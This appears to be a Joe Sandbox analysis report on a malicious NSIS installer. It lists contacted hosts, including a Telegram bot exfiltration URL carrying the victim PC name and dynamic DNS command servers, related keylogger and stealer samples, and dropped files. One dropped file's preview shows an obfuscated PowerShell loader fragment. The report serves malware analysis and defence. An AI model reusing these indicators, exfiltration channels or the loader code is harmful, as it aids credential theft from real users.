http://checkip.dyndns.org	msiexec.exe, 00000009.00000002.2665789154.0000000023071000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.microsoft.	powershell.exe, 00000002.00000002.2030872209.0000000008B3D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	HVSU7GbA5N.exe, HVSU7GbA5N.exe.2.dr	false		high
https://api.telegram.org/bot/sendMessage?chat_id=&text=	msiexec.exe, 00000009.00000002.2665789154.0000000023152000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	msiexec.exe, 00000009.00000002.2667049605.0000000024091000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000002.00000002.2012024518.00000000053C7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://aborters.duckdns.org:8081	msiexec.exe, 00000009.00000002.2665789154.0000000023071000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://ac.ecosia.org/autocomplete?q=	msiexec.exe, 00000009.00000002.2667049605.0000000024091000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:878411%0D%0ADate%20a	msiexec.exe, 00000009.00000002.2665789154.0000000023152000.00000004.00000800.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_Error	HVSU7GbA5N.exe, HVSU7GbA5N.exe.2.dr	false		high
http://anotherarmy.dns.army:8081	msiexec.exe, 00000009.00000002.2665789154.0000000023071000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000002.00000002.2012024518.00000000053C7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org/xml/8.46.123.189$	msiexec.exe, 00000009.00000002.2665789154.00000000230E5000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.2665789154.000000002312B000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.2665789154.0000000023152000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org	msiexec.exe, 00000009.00000002.2665789154.00000000230BB000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.2665789154.000000002312B000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.2665789154.0000000023152000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	msiexec.exe, 00000009.00000002.2667049605.0000000024091000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
132.226.8.169	checkip.dyndns.com	United States	16989	UTMEMUS	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
142.250.181.225	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
188.114.97.3	reallyfreegeoip.org	European Union	13335	CLOUDFLARENETUS	false
142.250.184.238	drive.google.com	United States	15169	GOOGLEUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1586021
Start date and time:	2025-01-08 16:19:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	HVSU7GbA5N.exe renamed because original name is a hash value
Original Sample Name:	6370b5dcbbb9b63214f20ebf3fea952c4ddc1fdd41e2d2594dc0717bcd7f9739.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@6/11@5/5
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Successful, ratio: 95% Number of executed functions: 126 Number of non-executed functions: 27
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.109.210.53
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target msiexec.exe, PID 3504 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7644 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: HVSU7GbA5N.exe

Simulations

Behavior and APIs

Time	Type	Description
10:20:05	API Interceptor	43x Sleep call for process: powershell.exe modified
10:21:23	API Interceptor	1359x Sleep call for process: msiexec.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
132.226.8.169	ENQ-0092025.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	document pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	ITT # KRPBV2663 .doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	kP8EgMorTr.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	PO_B2W984.com	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	checkip.dyndns.org/
	PO_2024_056209_MQ04865_ENQ_1045.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	checkip.dyndns.org/
	Azygoses125.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	PARATRANSFARI REMINDER.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	F.O Pump Istek,Docx.bat	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger	Browse	checkip.dyndns.org/
	0001.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
149.154.167.220	oagkiAhXgZ.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	proforma invoice pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	spreadmalware.exe	Get hash	malicious	XWorm	Browse
	random.exe	Get hash	malicious	CStealer	Browse
	random.exe	Get hash	malicious	CStealer	Browse
	HaLCYOFjMN.exe	Get hash	malicious	DCRat, PureLog Stealer, RedLine, XWorm, zgRAT	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc	Browse
	ENQ-0092025.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	Resource.exe	Get hash	malicious	Blank Grabber	Browse
	user.exe	Get hash	malicious	Unknown	Browse
188.114.97.3	KSts9xW7qy.exe	Get hash	malicious	FormBook	Browse	www.beylikduzu616161.xyz/2nga/?xP7x=Q2EbwnYhq4vEVEYxQpNjsu4gFlGHCs4lBliPtc8X0AIyDwowOCFGn/661E09vvaaF3LvgpjgW8Wvr6GWd63ULodNNE679jqiZ5mYQ2jjCrjO82Z0/3agI7E=&F4=Q0yHy
	GTA5-elamigos.exe	Get hash	malicious	Esquele Stealer	Browse	/api/get/dll
	DHL DOCS 2-0106-25.exe	Get hash	malicious	FormBook	Browse	www.uzshou.world/ricr/
	Order Inquiry.exe	Get hash	malicious	FormBook	Browse	www.cifasnc.info/8rr3/
	Gg6wivFINd.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	unasnetds.ru/eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php
	Payment Receipt.exe	Get hash	malicious	FormBook	Browse	www.cifasnc.info/8rr3/
	dGhlYXB0Z3JvdXA=-free.exe	Get hash	malicious	Unknown	Browse	/api/get/free
	dGhlYXB0Z3JvdXA=-free.exe	Get hash	malicious	Unknown	Browse	/api/get/free
	RFQ 3100185 MAHAD.exe	Get hash	malicious	FormBook	Browse	www.rgenerousrs.store/o362/
	A2028041200SD.exe	Get hash	malicious	FormBook	Browse	www.beylikduzu616161.xyz/2nga/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	oagkiAhXgZ.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	VSLS SCHEDULE_pdf.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.96.3
	ungziped_file.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	fatura098002.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.97.3
	Mv XIN HAI TONG 21_VESSEL'S_PARTICULARS.pdf.scr.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.97.3
	New order 2025.msg	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	188.114.97.3
	ENQ-0092025.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	MV DESPINA_VESSEL_DESCRIPTION.doc.scr.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.97.3
	FORTUNE RICH_PARTICULARS.pdf.scr.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.97.3
	document pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
api.telegram.org	oagkiAhXgZ.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	proforma invoice pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	149.154.167.220
	spreadmalware.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	random.exe	Get hash	malicious	CStealer	Browse	149.154.167.220
	random.exe	Get hash	malicious	CStealer	Browse	149.154.167.220
	HaLCYOFjMN.exe	Get hash	malicious	DCRat, PureLog Stealer, RedLine, XWorm, zgRAT	Browse	149.154.167.220
	ENQ-0092025.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Resource.exe	Get hash	malicious	Blank Grabber	Browse	149.154.167.220
	user.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	UpdaterTool.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
checkip.dyndns.com	oagkiAhXgZ.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	VSLS SCHEDULE_pdf.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0
	ungziped_file.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	fatura098002.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.247.73
	Mv XIN HAI TONG 21_VESSEL'S_PARTICULARS.pdf.scr.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.247.73
	New order 2025.msg	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	193.122.6.168
	ENQ-0092025.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	MV DESPINA_VESSEL_DESCRIPTION.doc.scr.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.247.73
	FORTUNE RICH_PARTICULARS.pdf.scr.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	document pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.8.169

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	oagkiAhXgZ.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	proforma invoice pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	149.154.167.220
	spreadmalware.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	random.exe	Get hash	malicious	CStealer	Browse	149.154.167.220
	random.exe	Get hash	malicious	CStealer	Browse	149.154.167.220
	HaLCYOFjMN.exe	Get hash	malicious	DCRat, PureLog Stealer, RedLine, XWorm, zgRAT	Browse	149.154.167.220
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc	Browse	149.154.167.220
	ENQ-0092025.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	http://t.me/hhackplus	Get hash	malicious	Unknown	Browse	149.154.167.99
	Resource.exe	Get hash	malicious	Blank Grabber	Browse	149.154.167.220
CLOUDFLARENETUS	KSts9xW7qy.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
	https://www.google.at/url?sa==60Pms7JnShWaY3TYp1tJfM6oLKC&rct=0GbqKUbKEUOA0yP6gBhAVbg0AlI6i1vFvwuOapuWmP7TbqjETP71sUvBq6eZihhNTt&sa=t&url=amp/growingf8th.org/t2dolalrwe/yNRMR4AUS6ZyXKIlbmuYFZ8PYol/cGF0ZS5yb3dlbGxAY2hlcm9rZWVicmljay5jb20=	Get hash	malicious	Unknown	Browse	104.18.95.41
	https://u18282959.ct.sendgrid.net/ls/click?upn=u001.rEMfFlpAoJgeimh0eSdetqZJOaDEFgZEM86yJv-2FFqn4BDVcYSBJ7qe3MiIpMf7EHr39f_olH575WPuDKQ6-2BlwfkTb3bEPQyZlspfhjzLUkESeUKdz-2BSLVmhS-2BiNhtE4sjBDlEtszfbsE5c6igxavK3muY3tYeP6QkmX-2BJi-2BaLU6j8Wsp6hQUS9QOYhOuxeiGpmu9xPXTXniG-2FhK47xPzbY2a7dAVr4WH1EaPd9qfgngR-2BS0-2BE0l9vGYKsxljCm-2F3LXvjLQIge-2FSmK3YEyKDG8HCxUjDZIuKEbjKZRrfVUUqiw37aYZrphVQ5WvB0QOlR-2Be2shKtaVihd3RfTtBEd0NyHk9A-3D-3D	Get hash	malicious	Unknown	Browse	104.18.86.42
	XL-1-6-25-(EXCEL LATEST 2025).html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	oagkiAhXgZ.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	http://vwi46h7.terraclicks.click/rd/4fRUWo26099tRCA461sdwbdplppv232VXGPAFVAHBPJXIV321477KIEL571756p9	Get hash	malicious	Phisher	Browse	188.114.96.3
	http://wfs.SATSGroup.co/login.php?id=bmZlcmRpbmFuZG9Ad2ZzLmFlcm8=	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://url.uk.m.mimecastprotect.com/s/jiGQCnr5DH7GvmPu9fVSJcV9l?domain=wfs.satsgroup.co	Get hash	malicious	Unknown	Browse	104.17.25.14
	VSLS SCHEDULE_pdf.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.96.3
	ORDER REF 47896798 PSMCO.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	104.21.53.168
UTMEMUS	oagkiAhXgZ.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	fatura098002.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.247.73
	Mv XIN HAI TONG 21_VESSEL'S_PARTICULARS.pdf.scr.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.247.73
	miori.ppc.elf	Get hash	malicious	Unknown	Browse	132.224.247.83
	ENQ-0092025.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	MV DESPINA_VESSEL_DESCRIPTION.doc.scr.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.247.73
	document pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	yxU3AgeVTi.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	ITT # KRPBV2663 .doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	kP8EgMorTr.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	132.226.8.169

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	oagkiAhXgZ.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	VSLS SCHEDULE_pdf.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.97.3
	ungziped_file.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	fatura098002.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.97.3
	Mv XIN HAI TONG 21_VESSEL'S_PARTICULARS.pdf.scr.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.97.3
	New order 2025.msg	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	188.114.97.3
	ENQ-0092025.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	MV DESPINA_VESSEL_DESCRIPTION.doc.scr.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.97.3
	FORTUNE RICH_PARTICULARS.pdf.scr.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.97.3
	document pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
3b5074b1b5d032e5620f69f9f700ff0e	oagkiAhXgZ.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	z.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	149.154.167.220
	h.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	149.154.167.220
	web55.mp4.hta	Get hash	malicious	LummaC	Browse	149.154.167.220
	atomxml.ps1	Get hash	malicious	PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	149.154.167.220
	QUOTATION - RFQ2496_PO 08775622879.pdf(87kb).com.exe	Get hash	malicious	Quasar	Browse	149.154.167.220
	proforma invoice pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	149.154.167.220
	174.exe	Get hash	malicious	Xmrig	Browse	149.154.167.220
	spreadmalware.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	invoice-1623385214.pdf.js	Get hash	malicious	PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	149.154.167.220
37f463bf4616ecd445d4a1937da06e19	D7VRkhOECq.exe	Get hash	malicious	GuLoader	Browse	142.250.184.238 142.250.181.225
	KO0q4biYfC.exe	Get hash	malicious	Remcos, GuLoader	Browse	142.250.184.238 142.250.181.225
	DHL_Awb_Shipping_Invoice_doc_010720257820020031808174CN1800301072025.bat.exe	Get hash	malicious	Remcos, GuLoader	Browse	142.250.184.238 142.250.181.225
	e2664726330-76546233.05.exe	Get hash	malicious	Nitol	Browse	142.250.184.238 142.250.181.225
	e2664726330-76546233.05.exe	Get hash	malicious	Unknown	Browse	142.250.184.238 142.250.181.225
	chu4rWexSX.exe	Get hash	malicious	LummaC	Browse	142.250.184.238 142.250.181.225
	xHj1N8ylIf.exe	Get hash	malicious	LummaC	Browse	142.250.184.238 142.250.181.225
	leBwnyHIgx.exe	Get hash	malicious	GhostRat	Browse	142.250.184.238 142.250.181.225
	c2.hta	Get hash	malicious	Remcos	Browse	142.250.184.238 142.250.181.225

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	650314
Entropy (8bit):	7.601107319746767
Encrypted:	false
SSDEEP:	12288:lSDeMUQg8x4aKKnpDNsLXfzYoWg4IcQ9y3zf5ju9sis:SeMUQgUlNsvYoWdZtjBu/s
MD5:	9EEAA6C9CE625021AC21B5EB40FB73E7
SHA1:	459FA22834028579136AEBD1327A6FF8B6E654CB
SHA-256:	6370B5DCBBB9B63214F20EBF3FEA952C4DDC1FDD41E2D2594DC0717BCD7F9739
SHA-512:	202FA2B529565BDF1E2691A12F3B91D5BC6303B5D926852048ED482A071491E8ECF98CC8BE5FD1BE743A82400DB6A57F3EA4CBFD1EEB0586DCD508BA76B4DC50
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 32%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..iu..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L....\.U.................\...........0.......p....@.......................................@..................................s.......P...............................................................................p...............................text....Z.......\.................. ..`.rdata.......p.......`..............@..@.data...............r..............@....ndata.......@...........................rsrc........P.......v..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens\HVSU7GbA5N.exe:Zone.Identifier

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens\Quayages.non

Download File

Process:	C:\Users\user\Desktop\HVSU7GbA5N.exe
File Type:	data
Category:	dropped
Size (bytes):	344867
Entropy (8bit):	7.632856447500971
Encrypted:	false
SSDEEP:	6144:ga0t2g01p4do3VetlwD/Q9jnxgR7zkyaoQXlWcjwPaRG9HX:ga0x0cWecgy5zky2VWcyHX
MD5:	B596C196381704F7D59A4284460FEE40
SHA1:	E0283AFD032563BDF7222AB654641E9ED3D4DE05
SHA-256:	5F12D49BDB6C38D8AF460D2E3080C3E2C8753FDCD4EC1B0AE5E2299C12B65FFD
SHA-512:	A26A937F73427C23C1955CE370B213E8BCC13BFF394FF350499E8EE04A696AAFA3CE3C7B801E5E4C0583583A7A161D7CF732466DA3A24594F414086531F54D8C
Malicious:	false
Reputation:	low
Preview:	..........SS............hh..-..........99.....rr.K.S.hh..S.........YY..............d..<.G.....YY...&.UU.............FFFFFF........c..@.OOO......^^....8.........FFF................d.....l..........%.;..vv................................................H..ee...........C...44.....B.......x......D............\|.o...{....k......................v.......(.(........4..#....RRR........+.....@@@@............66........................................9.9....QQQ...............Y.....................PP.....m................c..X.............MM............---.h..........'........UU.................J.....L..................(..............ZZZZ.......................PPPP.....w.....%.......&&&&.OOOO........C..B..........""............B...bb.......(...........33.77...............y................22.P..........:..........>...............................]............'...EE...h....D........bb..............bbb.......hh......,,,............ooooo.&.S........C.}..........KKKK........6........".....\|\|\|\|..X..........

C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens\Sprngningen178.Gte

Download File

Process:	C:\Users\user\Desktop\HVSU7GbA5N.exe
File Type:	Unicode text, UTF-8 text, with very long lines (4207), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	73908
Entropy (8bit):	5.185704234917167
Encrypted:	false
SSDEEP:	1536:GTSeyCEQfJgfhARuSJECSwublNwVAtuB9ZIMJ6qssj6xu1UJjCAYTg8:GTyCCfhku999EB/IIdsARAYc8
MD5:	44086E4E4B931EB543DAC505A3A4A2BE
SHA1:	9746B2ED0C33673A36AEFCEE2AA8A410DBD5A0F6
SHA-256:	3CB5D810D9693DBC418E3E864C4ED8C24D6E674819315166125028ED98EE3CA9
SHA-512:	613C00F10F1AD3DF1E56A05C6A770376B6000D04335FA73880C8C91635380EA46382A65E721267A61B98C5F8497F750BC26CEE2F6CB5A6DB42701C7EDD6C2722
Malicious:	false
Reputation:	low
Preview:	$Pawnages=$ldervestene;........$Scorpaenid = @'.Myriade.Nadija $BeklageGAcidnesaNonko bdDup,esfiBe.dswonSidebanibrugerpnPhotosyeTa,rega=Hlesspe$SpongelNYngelsooPolemicr ldringe TrephiaMarkedssLaesesgtChronol5 Exantl;Iboende. BronzefErkyndiu MincepnBaldriacChrysort Snoo.wiNondecooDrnrrennD.wedel HelsilkE Fil errSnverhjiPeri argdogsto e Rein arUd okseoAnesthenMicrora Perito( Difflu$InframaA InsemikTaxi,eruBacc.ant S,rankbAntifaseSaucebohOverdefaCabfulsnRundtendObl.gatlVisitoriLedelsenC elydrg FremsteSli kinn Lowlies Tilsig,Detar v$ TogstaANaninaskDenati uKvasetstGaragembRingbareDuevejehPeroxi aSubdepunSkrmudsdChristelDismaliiRenselsnDrontedgStileemeModulscnKnead.nsSp dingfAflytn,sBostnintAfprveiuNeu olomForliggpStraalin Glansri HematonSagesengUnderli) raasaf Un aith{Skatteg.Unco.gr.Uri rro$ FiskebfoutgoneoUdplacerIncumbabLith.firHypo ixuO ernesgSilesi eBrysselrBakkestlEksportoG ssendvbedsoreeAnti ua kiltes( Pe sonUIndecisnHibernafS cionooSloganiu Madstel DepartiPhotolinDo,beltgSesquis

C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens\revisualized.pin

Download File

Process:	C:\Users\user\Desktop\HVSU7GbA5N.exe
File Type:	data
Category:	dropped
Size (bytes):	161187
Entropy (8bit):	1.8904269661652378
Encrypted:	false
SSDEEP:	768:KY3109OlXCDhowfac81VfCf60Ojh7SPHlfPsH4qnW4K5V09X1m0qOP8e6jBLYD2B:Ks6Oumf2WuInWOg0q0Lt1dlRSr
MD5:	01E052DE0376DBAC7B750EC6C0BB3F54
SHA1:	893EB9A86D8383DD9E71E669A4A890D676DDB313
SHA-256:	F86E826510C473713B3AE14F1EF8AF26A54A1B99E3C7AEE106969EE6BD395B8F
SHA-512:	172181AD34B6A851DBE2DD77EF7DB02C12F93B55E1A42EE3BB44971758C482EA078CCEA8B68B079C629A40CA106F427D8DFD62FCE08F9473FDCB796FC9E94C95
Malicious:	false
Reputation:	low
Preview:	................b...............^.............G......................................................D...R..........`.....y............................*.................l...........S...............\D....`...............a............................\|.................................u............................X...........................O.......;............................h......"......I......^...k.I........m..............................2.....................................X............0............................+............../..................................................t............................\...~.............................z....................J.................................=...+...$.....$......................................................................................&.......j......S..d............a..........>......P..o.....^...........}........................6...........D......................................................a.....k.Q....E....._......I..

C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens\skrivestuer.lol

Download File

Process:	C:\Users\user\Desktop\HVSU7GbA5N.exe
File Type:	data
Category:	dropped
Size (bytes):	302535
Entropy (8bit):	1.8969107180726248
Encrypted:	false
SSDEEP:	1536:BuEWHusZSmrnxGe2N31qRRM5I/2RbpPfvKUO/VRu:BnWHJh3YQRRM51JDL
MD5:	EBC7E2200359EDAAE097636129F328C3
SHA1:	711F41ED8A676E9CFC8917E984F2C8BF42515DEB
SHA-256:	BC6F21CE3CA3EF3966F014CE12132D8B994B31AF20C61033FE02DC3178669DAD
SHA-512:	D4872EBF8673A6D6A390EE6FA008AE886C11ECFA322761399EA8E0E1A6CAF15B7CF4D81F103E45D49E550F0260B2213940C4BC07838355FA70BF550786682EA3
Malicious:	false
Preview:	.................................................G......................Y.......................................X#...Le........................................................w...4.........X...o................X........._............................B.......@..............................................8..!7............4.................\.......K.......L...........................................q......a................G....................9.......I,.`..................../c~...............j................Z...V:.......F.....A0............x................+..............z................%..........."..................................t...............V....................................6......P.......................8..........^.........................................(.h................1............>.......................................y........@o.......\|............l......P.........................g..Y.......b...............+...........J....J..............................+4.....=:..

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	53158
Entropy (8bit):	5.062687652912555
Encrypted:	false
SSDEEP:	1536:N8Z+z30pPV3CNBQkj2Ph4iUx7aVKflJnqvPqdKgfSRIOdBlzStAHk4NKeCMiYoLs:iZ+z30pPV3CNBQkj2PqiU7aVKflJnqvF
MD5:	5D430F1344CE89737902AEC47C61C930
SHA1:	0B90F23535E8CDAC8EC1139183D5A8A269C2EFEB
SHA-256:	395099D9A062FA7A72B73D7B354BF411DA7CFD8D6ADAA9FDBC0DD7C282348DC7
SHA-512:	DFC18D47703A69D44643CFC0209B785A4393F4A4C84FAC5557D996BC2A3E4F410EA6D26C66EA7F765CEC491DD52C8454CB0F538D20D2EFF09DC89DDECC0A2AFE
Malicious:	false
Preview:	PSMODULECACHE.G.......%...I...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\SmbShare\SmbShare.psd1T.......gsmbo........gsmbm........Enable-SmbDelegation.... 